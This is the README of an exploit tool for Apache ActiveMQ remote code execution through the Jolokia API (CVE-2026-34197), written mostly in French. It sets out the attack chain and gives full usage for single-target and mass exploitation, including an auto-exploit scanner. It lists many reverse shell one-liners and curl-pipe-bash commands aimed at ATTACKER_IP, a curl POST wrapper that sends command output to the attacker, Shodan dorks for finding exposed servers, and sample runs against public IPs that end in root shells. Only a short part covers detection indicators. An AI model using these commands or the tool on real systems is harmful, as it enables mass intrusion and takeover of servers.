
Exploit pour Apache ActiveMQ RCE via l'API Jolokia (CVE-2026-34197) avec capture de sortie de commande, scan de masse et exploitation automatique.
Vue d'ensemble • Détails • Chaîne d'attaque • Démarrage rapide • Guide ATTACKER_IP • Utilisation • Capture de sortie • Scanner • Chasse • Détection • Remédiation
CVE-2026-34197 est une vulnérabilité critique d'exécution de code à distance (RCE) dans Apache ActiveMQ Classic qui permet à un attaquant authentifié d'exécuter des commandes arbitraires du système d'exploitation via l'API Jolokia exposée sur la console web.
La vulnérabilité existe depuis plus de 13 ans et réside dans l'interaction entre Jolokia (pont HTTP-JMX), les MBeans ActiveMQ, les connecteurs réseau et le transport VM.
[!CAUTION] Il s'agit d'un premier PoC public développé par KONDOR DEV SECURITY. À utiliser uniquement dans le cadre d'évaluations de sécurité autorisées.
id, whoami, cat /etc/passwd) affichent automatiquement leur sortie dans votre terminalversion_check.py) — détection de version multithread + exploitation ciblée| ID CVE | CVE-2026-34197 |
| Sévérité | |
| Type | Exécution de code à distance (RCE) |
| CWE | CWE-20 (Validation d'entrée incorrecte) / CWE-94 (Injection de code) |
| Affecté | ActiveMQ Classic < 5.19.4 et 6.0.0 — 6.2.2 |
| Corrigé | 5.19.4 / 6.2.3 |
| Authentification requise | Oui (les identifiants par défaut admin:admin sont courants) |
| Aucune authentification nécessaire | 6.0.0 — 6.1.1 (en raison de CVE-2024-32114) |
| Port par défaut | 8161 (console web) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### Décomposition étape par étape
| Étape | Action | Composant |
|:----:|--------|-----------|
| **1** | L'attaquant envoie un POST à `/api/jolokia/` invoquant `addNetworkConnector` sur le MBean Broker | API Jolokia |
| **2** | ActiveMQ traite l'URI de transport `vm://` et crée un broker éphémère avec `brokerConfig` pointant vers une URL distante | Transport VM |
| **3** | Le schéma `xbean:` déclenche le téléchargement d'un fichier de configuration Spring XML depuis le serveur de l'attaquant | Spring / XBean |
| **4** | Spring instancie tous les beans du XML, y compris un qui appelle `Runtime.getRuntime().exec()` | Contexte Spring |
| **5** | Pour les commandes simples, la sortie est capturée et renvoyée via HTTP POST à l'écouteur de l'attaquant (automatique) | Capture de sortie |
---
## Structure du projet```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md
pip install requests
### Environnement de laboratoire (Docker)```bash
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161
python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"
python exploit.py -T targets.txt -l YOUR_IP -c "id"
### Scanner + Auto-Exploit (recommandé pour les cibles de masse)```bash
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt
# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"
ATTACKER_IP (-l / --lhost)Le paramètre -l (ou --lhost) est essentiel pour que l'exploit fonctionne. Il spécifie l'adresse IP à partir de laquelle votre machine servira la charge utile Spring XML malveillante. Le serveur ActiveMQ cible doit être capable de joindre cette IP sur le réseau pour télécharger la charge utile.
ATTACKER_IP ?Lorsque l'exploit se déclenche, il indique à ActiveMQ : « Téléchargez votre configuration depuis http://ATTACKER_IP:8888/payload.xml ». ActiveMQ effectue ensuite une requête HTTP sortante vers votre machine. S'il ne peut pas vous joindre, l'exploit échoue silencieusement.```
YOUR MACHINE TARGET (ActiveMQ)
──────────── ─────────────────
ATTACKER_IP:8888 ◄──── HTTP GET ──── "fetch xbean:http://ATTACKER_IP:8888/payload.xml"
(serves payload.xml) (downloads & executes)
### Comment déterminer votre `ATTACKER_IP`
| Scénario | Comment la trouver | Exemple |
|----------|---------------|---------|
| **Même LAN** (lab, pentest interne) | Votre IP locale/privée | `ip a` → `192.168.1.50` |
| **VPN** (HTB, THM, réseau interne) | L'IP de votre tunnel VPN | `ip a show tun0` → `10.10.14.23` |
| **Cible distante via Internet** | Votre IP publique | `curl ifconfig.me` → `203.0.113.42` |
| **VPS cloud** (attaque depuis un serveur) | L'IP publique du VPS | Consultez le tableau de bord de votre fournisseur cloud |```bash
# Linux — find your IPs
ip -4 addr show # All interfaces
ip addr show tun0 # VPN interface (HTB/THM)
ip addr show eth0 # Ethernet / cloud
curl -s ifconfig.me # Public IP
# Windows
ipconfig # All interfaces
(Invoke-WebRequest ifconfig.me).Content # Public IP (PowerShell)
# macOS
ifconfig en0 # Wi-Fi
ifconfig utun0 # VPN
curl -s ifconfig.me # Public IP
| Erreur | Pourquoi cela échoue | Correction |
|---|---|---|
Utiliser 127.0.0.1 ou localhost | La cible tente de télécharger depuis elle-même, pas depuis vous | Utilisez votre adresse IP réseau réelle |
Utiliser une IP privée (192.168.x.x) pour une cible Internet | La cible ne peut pas router vers votre réseau privé | Utilisez votre IP publique ou un VPS |
Utiliser votre IP publique mais le port 8888 est bloqué | Le pare-feu/NAT rejette la connexion entrante depuis la cible | Ouvrez le port 8888 dans le pare-feu/routeur, ou utilisez -lp avec un port ouvert |
Utiliser la mauvaise IP d'interface (par ex., eth0 au lieu de tun0) | La cible ne peut pas atteindre ce segment réseau | Faites correspondre l'interface qui a une route vers la cible |
Avant d'exécuter l'exploit, confirmez que la cible peut atteindre votre listener :```bash
python3 -c "import http.server; http.server.HTTPServer(('0.0.0.0', 8888), http.server.SimpleHTTPRequestHandler).serve_forever()"
curl http://ATTACKER_IP:8888/
### Port forwarding (scénarios NAT)
Si vous êtes derrière un routeur/NAT et que vous attaquez une cible exposée sur Internet :```bash
# Option A: Use a cloud VPS (recommended)
# Run the exploit from a VPS with a public IP — no NAT issues
# Option B: Port forward on your router
# Forward external port 8888 → your_local_ip:8888 (TCP)
# Then use your PUBLIC IP as ATTACKER_IP
# Option C: Use ngrok (quick & dirty)
ngrok http 8888
# Use the ngrok URL — but note: the exploit uses raw HTTP, not ngrok's URL format
# This option is NOT recommended for this exploit
sudo iptables -A INPUT -p tcp --dport 8888 -j ACCEPT
sudo ufw allow 8888/tcp
New-NetFirewallRule -DisplayName "CVE-2026-34197 Listener" -Direction Inbound -Protocol TCP -LocalPort 8888 -Action Allow
### Exemple complet de workflow```bash
# Step 1: Identify your IP
$ ip addr show tun0
inet 10.10.14.23/23 ...
# Step 2: Verify the target is vulnerable
$ python version_check.py -T targets.txt
[+] http://10.129.45.67:8161 → 5.15.9 (admin) [VULNERABLE]
# Step 3: Run the exploit with YOUR correct IP
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
# Step 4: For a reverse shell — start listener FIRST
$ nc -lvnp 4444 # Terminal 1
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 \
-c "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1" # Terminal 2
[!IMPORTANT] L'
ATTACKER_IPdans-let dans les commandes de shell inverse (/dev/tcp/ATTACKER_IP/4444) doit être la même IP joignable. Si vous utilisez une IP différente dans la commande de shell inverse, le shell se connectera au mauvais endroit.
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "whoami" -u admin -p secret
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -lp 9999 -c "cat /etc/passwd"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --no-auth
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --broker-name mybroker
### Scan de masse (cibles multiples)```bash
# Scan targets from file, save vulnerable ones
python exploit.py -T targets.txt -l ATTACKER_IP -c "id"
# Custom output file
python exploit.py -T targets.txt -l ATTACKER_IP -c "id" -o vulnerable_hosts.txt
# Mass scan with custom credentials and port
python exploit.py -T targets.txt -l ATTACKER_IP -lp 9999 -c "id" -u myuser -p mypass
The targets.txt file should contain one URL per line:```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
Fonctionnalités de scan de masse :
- **Déduplication automatique** — les URL en double sont supprimées automatiquement
- **Serveur HTTP unique** — le serveur de payload démarre une seule fois et est réutilisé pour toutes les cibles
- **Repli d'authentification** — si les identifiants échouent (401), nouvelle tentative automatique sans authentification (CVE-2024-32114)
- **Noms de connecteurs aléatoires** — évite les collisions d'enregistrement JMX entre les cibles
- **Enregistrement incrémental** — les cibles vulnérables sont enregistrées immédiatement (Ctrl+C sans risque)
- **Prise en charge HTTPS** — fonctionne avec les cibles HTTP et HTTPS
### Reverse Shells
Les reverse shells et les commandes contenant des caractères spéciaux (`>`, `&`, `|`, `;`, `$`, etc.) sont **automatiquement encodés en base64** pour éviter les problèmes d'échappement XML/shell.```bash
# Bash reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Netcat reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
# Python reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
# Curl + bash (download & execute)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "curl http://ATTACKER_IP/shell.sh | bash"
# Mass reverse shell scan
python exploit.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
Remarque : Démarrez votre listener avant d'exécuter l'exploit :
nc -lvnp 4444
exploit.py et version_check.py peuvent capturer et afficher automatiquement la sortie des commandes pour les commandes simples comme id, whoami, cat /etc/passwd, hostname, etc.
Lorsque vous exécutez une commande simple, l'exploit l'enveloppe automatiquement pour renvoyer stdout/stderr à votre listener via HTTP POST :``` YOUR MACHINE (ATTACKER_IP:8888) TARGET (ActiveMQ) ─────────────────────────────── ─────────────────
(payload served) Executes wrapped command:
OUTPUT=$(id 2>&1)
curl -s -X POST http://ATTACKER:8888/output -d "$OUTPUT"
Displays: "uid=0(root) gid=0(root)..."
#### Exemple avec sortie```bash
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
[*] Target: http://10.129.45.67:8161
[*] Command: id
[*] Output: capture enabled (will POST back to listener)
[*] Broker: localhost
[*] Auth: admin
[*] Sending request to Jolokia...
[+] Jolokia accepted the operation (status=200)
[*] Waiting for the target to download the payload...
[+] Payload served to 10.129.45.67
[+] Target downloaded the payload. Command executed.
[*] Waiting for command output...
[+] Command output received:
──────────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────
| Type de commande | Exemple | Comportement |
|---|---|---|
| Commandes simples | id, whoami, cat /etc/passwd, ls -la, uname -a | Sortie capturée et affichée automatiquement |
| Shells inversés | bash -i >& /dev/tcp/..., nc ... -e /bin/sh, mkfifo... | Détecté comme interactif — aucun enveloppement, fonctionne comme avant |
| Commandes utilisant curl/wget | curl http://..., wget http://... | Détecté comme interactif — aucun enveloppement, pour éviter toute interférence |
La détection est automatique. Vous n'avez pas besoin de passer de drapeaux supplémentaires.
La capture de sortie nécessite curl ou wget sur le système cible. Si aucun des deux n'est disponible :
[!TIP] La plupart des systèmes Linux (et les images Docker ActiveMQ) ont
curlpréinstallé. Si la capture de sortie expire mais que le RCE est confirmé, il est probable que la cible ne dispose ni decurlni dewget.
| Drapeau | Description | Défaut |
|---|---|---|
-t, --target | URL cible unique | — |
-T, --targets-file | Fichier contenant les URL cibles (une par ligne) | — |
-l, --lhost | IP de l'attaquant pour servir la charge utile | requis |
-lp, --lport | Port du serveur HTTP local | 8888 |
-c, --command | Commande système à exécuter | requis |
-u, --user | Nom d'utilisateur Jolokia | admin |
-p, --password | Mot de passe Jolokia | admin |
--no-auth | Ignorer l'authentification | false |
--broker-name | Remplacement du nom du broker | auto-détection |
-o, --output | Fichier de sortie pour les cibles vulnérables | vulnerables.txt |
--timeout-wait | Secondes d'attente pour le téléchargement de la charge utile | 15 |
Remarque :
-tet-Tsont mutuellement exclusifs. Utilisez l'un ou l'autre.
version_check.py)L'outil recommandé pour plusieurs cibles. Un pipeline en 2 phases qui détecte d'abord les versions ActiveMQ sur toutes les cibles (rapide, multithread), puis exploite automatiquement uniquement les vulnérables avec une vérification réelle du RCE via un rappel de charge utile.
version_check.py vs exploit.py| Scénario | Outil | Pourquoi |
|---|---|---|
| Vous avez une liste de cibles et souhaitez savoir lesquelles sont vulnérables | version_check.py | Analyse d'abord les versions (rapide), puis exploite uniquement les vulnérables |
| Vous souhaitez analyser sans exploiter (recon uniquement) | version_check.py | Omettez -l/-c pour le mode analyse uniquement |
| Vous avez une cible unique confirmée | exploit.py | Plus simple, exploitation directe |
| Vous souhaitez exploiter un hôte spécifique immédiatement | exploit.py | Pas de surcharge d'analyse |
| Vous avez 100+ cibles provenant de Shodan/LeakIX | version_check.py | La phase 1 multithread gère les grandes listes en quelques secondes |
┌─────────────────────────────────────────────────────────┐ │ PHASE 1 — Version Detection (fast, multithreaded) │ │ │ │ targets.txt ──→ 10 threads query Jolokia in parallel │ │ GET .../BrokerVersion │ │ │ │ For each target: │ │ 1. Try auth (admin:admin) │ │ 2. If 401 → retry without auth (CVE-2024-32114) │ │ 3. If brokerName=localhost fails → try wildcard (*) │ │ 4. Extract: version, real broker name, working auth │ │ 5. Classify: [VULNERABLE] or [PATCHED] │ │ │ │ Output: list of vulnerable candidates with metadata │ └──────────────────────┬──────────────────────────────────┘ │ only vulnerable targets ▼ ┌─────────────────────────────────────────────────────────┐ │ PHASE 2 — RCE Verification (sequential, with callback) │ │ (only runs if -l and -c are provided) │ │ │ │ For each vulnerable target: │ │ 1. Generate Spring XML payload with command │ │ 2. Send addNetworkConnector via Jolokia │ │ 3. Wait for target to download payload (callback) │ │ 4. If callback received → RCE CONFIRMED │ │ │ │ Output: confirmados.txt with RCE-confirmed targets │ └─────────────────────────────────────────────────────────┘
### Logique de classification des versions
Le scanner classe automatiquement les versions en fonction des plages affectées :
| Version | Classification |
|---------|---------------|
| `< 5.19.4` (par ex., 5.15.9, 5.18.6) | `[VULNERABLE]` |
| `>= 5.19.4` (par ex., 5.19.4, 5.20.0) | `[PATCHED]` |
| `6.0.0` à `6.2.2` | `[VULNERABLE]` |
| `>= 6.2.3` | `[PATCHED]` |
### Guide d'utilisation étape par étape
#### Étape 1 — Préparez votre fichier de cibles
Créez un fichier `targets.txt` avec une URL par ligne. Les doublons sont supprimés automatiquement.```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
http://192.168.1.100:8161
[!TIP] Utilisez les Guides de chasse pour trouver des cibles via Shodan, LeakIX, FOFA, Censys ou Google Dorks.
Si vous souhaitez uniquement identifier quelles cibles sont vulnérables sans les exploiter, omettez -l et -c :```bash
python version_check.py -T targets.txt
This runs **only Phase 1**. No HTTP server is started, no payloads are sent, no commands are executed. The output file will contain version info for each vulnerable target:```
http://52.234.160.12:8161 | 5.15.9 | admin | broker=localhost
http://62.151.178.135:8161 | 5.15.2 | admin | broker=mybroker
Vous pouvez augmenter la vitesse d'analyse avec davantage de threads :```bash python version_check.py -T targets.txt --threads 20
#### Étape 3 — Scan + exploitation automatique (pipeline complet)
Pour scanner **et** exploiter en une seule exécution, ajoutez `-l` (votre ATTACKER_IP) et `-c` (commande) :```bash
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
Ceci exécute les deux phases :
[VULNERABLE] (séquentiel, avec vérification de rappel)[!IMPORTANT]
ATTACKER_IPdoit être accessible depuis les cibles. Le serveur ActiveMQ ciblé effectuera une requête HTTP sortante vershttp://ATTACKER_IP:8888/payload.xml. Consultez le guide ATTACKER_IP pour plus de détails sur le choix de l'IP correcte.
Les cibles confirmées comme vulnérables sont enregistrées de manière incrémentale dans le fichier de sortie (par défaut : confirmados.txt) :```
http://52.234.160.12:8161 | 5.15.9 | admin
The format is: `URL | version | auth_method`. You can then use these individually with `exploit.py` for further post-exploitation.
### Usage examples```bash
# Scan only — detect versions (no exploitation)
python version_check.py -T targets.txt
# Scan + auto-exploit — full pipeline
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
# Faster scan with 20 threads
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --threads 20
# Custom output, credentials, and port
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" -o pwned.txt -u admin -p secret -lp 9999
# Reverse shell (auto base64-wrapped)
# IMPORTANT: start your netcat listener FIRST on port 4444 (in a separate terminal):
# nc -lvnp 4444
# The port in nc must match the port in /dev/tcp/.../4444
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# No-auth mode (for ActiveMQ 6.0.0 — 6.1.1)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --no-auth
# Longer callback wait (slow networks)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --wait 30
# Combine: fast threads + long wait + custom creds
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" \
--threads 30 --wait 20 -u operator -p s3cret -lp 9999 -o results.txt
ATTACKER_IP dans version_check.pyLe paramètre -l se comporte exactement comme dans exploit.py, mais avec une différence clé : le serveur HTTP est démarré une seule fois et réutilisé pour toutes les cibles de la Phase 2.```
YOUR MACHINE (ATTACKER_IP) TARGETS
────────────────────────── ───────
HTTP server on :8888 Target 1 (v5.15.9) ──→ GET /payload.xml ──→ YOUR_IP:8888
(started once, reused) Target 2 (v5.18.6) ──→ GET /payload.xml ──→ YOUR_IP:8888
Target 3 (v6.2.3) ──→ [PATCHED, skipped]
**La phase 1 ne nécessite PAS `ATTACKER_IP`** — elle interroge uniquement Jolokia pour obtenir les informations de version. Vous pouvez exécuter la phase 1 seule pour faire de la reconnaissance sans exposer votre IP.
**La phase 2 nécessite `ATTACKER_IP`** — les cibles doivent pouvoir atteindre votre serveur HTTP pour télécharger la charge utile. Si une cible ne peut pas vous atteindre, elle expirera (par défaut : 15 s) et sera marquée comme « aucun callback reçu » — mais cela ne signifie pas nécessairement qu'elle n'est pas vulnérable (les pare-feu peuvent bloquer le trafic sortant).
### Paramètres
| Indicateur | Description | Défaut |
|------|-------------|---------|
| `-T, --targets-file` | Fichier contenant les URL cibles (une par ligne) | *requis* |
| `-l, --lhost` | IP de l'attaquant pour le callback (active la phase 2) | — |
| `-c, --command` | Commande à exécuter (active la phase 2) | — |
| `-lp, --lport` | Port du serveur HTTP local | `8888` |
| `-o, --output` | Fichier de sortie pour les cibles confirmées | `confirmados.txt` |
| `-u, --user` | Nom d'utilisateur Jolokia | `admin` |
| `-p, --password` | Mot de passe Jolokia | `admin` |
| `--no-auth` | Ignorer l'authentification | `false` |
| `--threads` | Threads simultanés pour la phase 1 | `10` |
| `--timeout` | Délai d'expiration par requête dans la phase 1 | `10s` |
| `--wait` | Secondes d'attente pour le callback dans la phase 2 | `15s` |
> **Remarque :** `-l` et `-c` doivent être fournis ensemble pour activer la phase 2. Si l'un des deux manque, seule la phase 1 (analyse) s'exécute.
### Fonctionnalités
- **Pipeline en 2 phases** — analyse rapide des versions d'abord, puis exploitation ciblée
- **Phase 1 multithreadée** — analyse des centaines de cibles en quelques secondes
- **Détection intelligente des brokers** — gère les réponses avec wildcard `brokerName=*`, extrait le vrai nom du broker des clés MBean
- **Repli d'authentification** — si `admin:admin` échoue (401), nouvelle tentative sans authentification (CVE-2024-32114)
- **Noms de connecteurs randomisés** — évite les collisions JMX (`rce{random8}` unique par cible)
- **Encapsulation base64 automatique** — les reverse shells et les caractères spéciaux fonctionnent immédiatement
- **Enregistrement incrémental** — les cibles confirmées sont enregistrées immédiatement (sûr d'utiliser Ctrl+C en cours d'analyse)
- **Mode analyse seule** — omettez `-l`/`-c` pour simplement détecter les versions sans exploiter
- **Classification des versions** — marque `[VULNERABLE]` / `[PATCHED]` selon les plages affectées
- **Serveur HTTP unique** — démarré une fois dans la phase 2, réutilisé pour toutes les cibles (aucun conflit de port)
### Reverse shells avec `version_check.py`
Lorsque vous utilisez `version_check.py` pour envoyer un reverse shell, vous avez besoin de **deux choses qui s'exécutent simultanément** :
1. Un **écouteur netcat** sur votre machine en attente de la connexion du shell entrant
2. La commande **version_check.py** qui analyse et exploite les cibles
Le port de l'écouteur (`nc -lvnp PORT`) **doit correspondre** au port dans la commande du reverse shell (`/dev/tcp/ATTACKER_IP/PORT`).```
YOUR MACHINE (ATTACKER_IP)
──────────────────────────
Terminal 1: nc -lvnp 4444 ◄── Listening for reverse shell on port 4444
Terminal 2: version_check.py ... ──► Scans targets, exploits vulnerable ones
└─ sends: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
▲
TARGET (ActiveMQ) │
───────────────── │
Executes the command ──► bash connects back to ATTACKER_IP:4444 ────────────────┘
nc -lvnp 4444
python version_check.py -T targets.txt -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
#### Utilisation d'un autre port
Vous pouvez utiliser le port de votre choix, à condition que les deux côtés correspondent :```bash
# Terminal 1: listener on port 9001
nc -lvnp 9001
# Terminal 2: reverse shell pointing to port 9001
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
> [!WARNING]
> **Confusion de ports à éviter :** L'exploit utilise **deux ports différents** pour deux usages distincts :
> - `-lp` (par défaut `8888`) — le port du serveur HTTP où ActiveMQ télécharge la charge utile XML. Ceci est géré automatiquement par le script.
> - Le port dans `/dev/tcp/.../4444` — le port de rappel du reverse shell où VOUS écoutez avec `nc`. C'est votre responsabilité de l'ouvrir.
>
> Ces ports sont **indépendants**. Ne les confondez pas. Vous avez besoin de `nc -lvnp 4444` pour le shell, et le script gère `:8888` en interne.
### Exemple de sortie```
╔═══════════════════════════════════════════════════════════╗
║ CVE-2026-34197 — ActiveMQ Scanner + Auto-Exploit ║
║ Phase 1: Version Detection (fast, multithreaded) ║
║ Phase 2: RCE Verification (exploit + callback) ║
║ By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY ║
╚═══════════════════════════════════════════════════════════╝
[*] 124 unique targets loaded
[*] Threads: 10 | Timeout: 10s
[*] Mode: SCAN + EXPLOIT (wait: 15s)
[*] Command: id
════════════════════════════════════════════════════════════
PHASE 1 — Version detection (multithreaded)
════════════════════════════════════════════════════════════
[+] [1/124] http://52.234.160.12:8161 → 5.15.9 (admin) [VULNERABLE]
[+] [2/124] http://62.151.178.135:8161 → 5.15.2 (admin) [VULNERABLE]
[+] [3/124] http://146.190.139.20:8161 → 5.15.6 (admin) [VULNERABLE]
[-] [4/124] http://167.172.150.143:8161 → 401
[-] [5/124] http://198.44.176.205:8161 → Connection refused
[*] Phase 1 complete: 3 with version, 3 vulnerable by version
════════════════════════════════════════════════════════════
PHASE 2 — Real exploit (3 candidates)
════════════════════════════════════════════════════════════
[+] HTTP server on 0.0.0.0:8888
[1/3] http://52.234.160.12:8161 (v5.15.9, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 52.234.160.12
[+] Command output:
──────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://52.234.160.12:8161 (v5.15.9)
[2/3] http://62.151.178.135:8161 (v5.15.2, broker=mybroker)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[*] No callback received within 15s
[3/3] http://146.190.139.20:8161 (v5.15.6, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 146.190.139.20
[+] Command output:
──────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://146.190.139.20:8161 (v5.15.6)
════════════════════════════════════════════════════════════
FINAL SUMMARY
════════════════════════════════════════════════════════════
[*] Total scanned: 124
[*] Version detected: 3
[*] Vulnerable by version: 3
[+] RCE CONFIRMED: 2
[+] Saved to: confirmed.txt
✓ http://52.234.160.12:8161 | v5.15.9 | admin
✓ http://146.190.139.20:8161 | v5.15.6 | admin
| Résultat de la phase 2 | Ce que cela signifie | Étape suivante |
|---|---|---|
RCE CONFIRMED + Command output: | La cible a exécuté la commande et renvoyé la sortie | Succès complet — vous pouvez voir la sortie directement |
RCE CONFIRMED (aucune sortie) | La cible a téléchargé la charge utile mais aucune sortie n'a été reçue | Le RCE fonctionne, mais curl/wget peuvent manquer sur la cible ; utilisez un reverse shell |
No callback received within Ns | La cible n'a pas atteint votre serveur HTTP à temps | Vérifiez l'accessibilité de ATTACKER_IP, les pare-feu, ou augmentez --wait |
Jolokia accepted (status=200) | Jolokia a traité la requête avec succès | Bon signe — attendez le callback |
Jolokia status=500: ... | Jolokia a renvoyé une erreur | Peut quand même fonctionner (le téléchargement XML peut avoir lieu malgré le 500) ; vérifiez les journaux |
HTTP 401 | Échec de l'authentification pour cette cible | La cible nécessite des identifiants différents |
HTTP 403 | Jolokia est restreint | La cible a des ACL — non exploitable avec cette méthode |
Connection refused / Timeout | La cible est injoignable | Problème réseau ou cible hors ligne |
shodan search "ActiveMQ port:8161" --fields ip_str,port > raw_targets.txt
awk '{print "http://"$1}' raw_targets.txt > targets.txt
python version_check.py -T targets.txt --threads 20
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
nc -lvnp 4444 # Terminal 1
python exploit.py -t http://CONFIRMED_TARGET:8161 -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" # Terminal 2
---
## Chasse et Reconnaissance
Guides détaillés pour trouver des instances Apache ActiveMQ exposées à l'aide de **Shodan**, **LeakIX**, **FOFA**, **Censys**, **ZoomEye** et **Google Dorks** — y compris les dorks spécifiques aux versions, la détection Jolokia, l'utilisation CLI/API, les étapes de validation des cibles, les règles SIEM/IDS et les priorités de remédiation.
<table>
<tr>
<td align="center">
<a href="docs/HUNTING_GUIDE_EN.md"><img src="https://img.shields.io/badge/Hunting%20Guide-English%20%F0%9F%87%AC%F0%9F%87%A7-2196F3?style=for-the-badge" alt="English"/></a>
</td>
<td align="center">
<a href="docs/HUNTING_GUIDE_ES.md"><img src="https://img.shields.io/badge/Gu%C3%ADa%20de%20B%C3%BAsqueda-Espa%C3%B1ol%20%F0%9F%87%AA%F0%9F%87%B8-FF9800?style=for-the-badge" alt="Español"/></a>
</td>
</tr>
</table>
### Dorks Shodan rapides```
"ActiveMQ" port:8161 # All exposed consoles
http.title:"Apache ActiveMQ" # By page title
"ActiveMQ" http.html:"jolokia" port:8161 # Jolokia exposed (attack vector)
http.title:"Apache ActiveMQ" -http.html:"5.19.4" -http.html:"6.2.3" port:8161 # Exclude patched
+software:"Apache ActiveMQ" +port:"8161" # All exposed +banner:"jolokia" +banner:"ActiveMQ" # Jolokia exposed +software:"Apache ActiveMQ" +tag:"default-password" # Default creds
### Validation de la cible```bash
# Check version via Jolokia (single target)
curl -s -u admin:admin "http://TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion"
# Mass version scan (recommended)
python version_check.py -T targets.txt
[!TIP] Consultez les guides complets dans
docs/pour les dorks spécifiques aux versions, les filtres géographiques, les exemples d'API, les règles IDS et les flux de travail de validation étape par étape.
INFO | Establishing network connection from vm://localhost to vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml WARN | Could not connect to remote URI: vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
> **Remarque :** La partie `rce*` contiendra des caractères aléatoires (par ex. `rcek4m2x9ab`) car l'exploit randomise les noms des connecteurs.
### IOC
| Indicateur | Description |
|-----------|-------------|
| POST `/api/jolokia/` avec `addNetworkConnector` | Tentative d'exploitation |
| GET HTTP sortant depuis le processus ActiveMQ | Téléchargement du payload XML |
| POST HTTP sortant depuis le processus ActiveMQ (exfiltration de la sortie de commande) | Rappel de capture de sortie |
| URI `vm://` avec `brokerConfig=xbean:http` | Connecteur malveillant |
| Processus enfants inattendus depuis Java/ActiveMQ (`curl`, `wget`, `bash`) | Exécution de commande / exfiltration de sortie |
---
## Remédiation
| Priorité | Action |
|----------|--------|
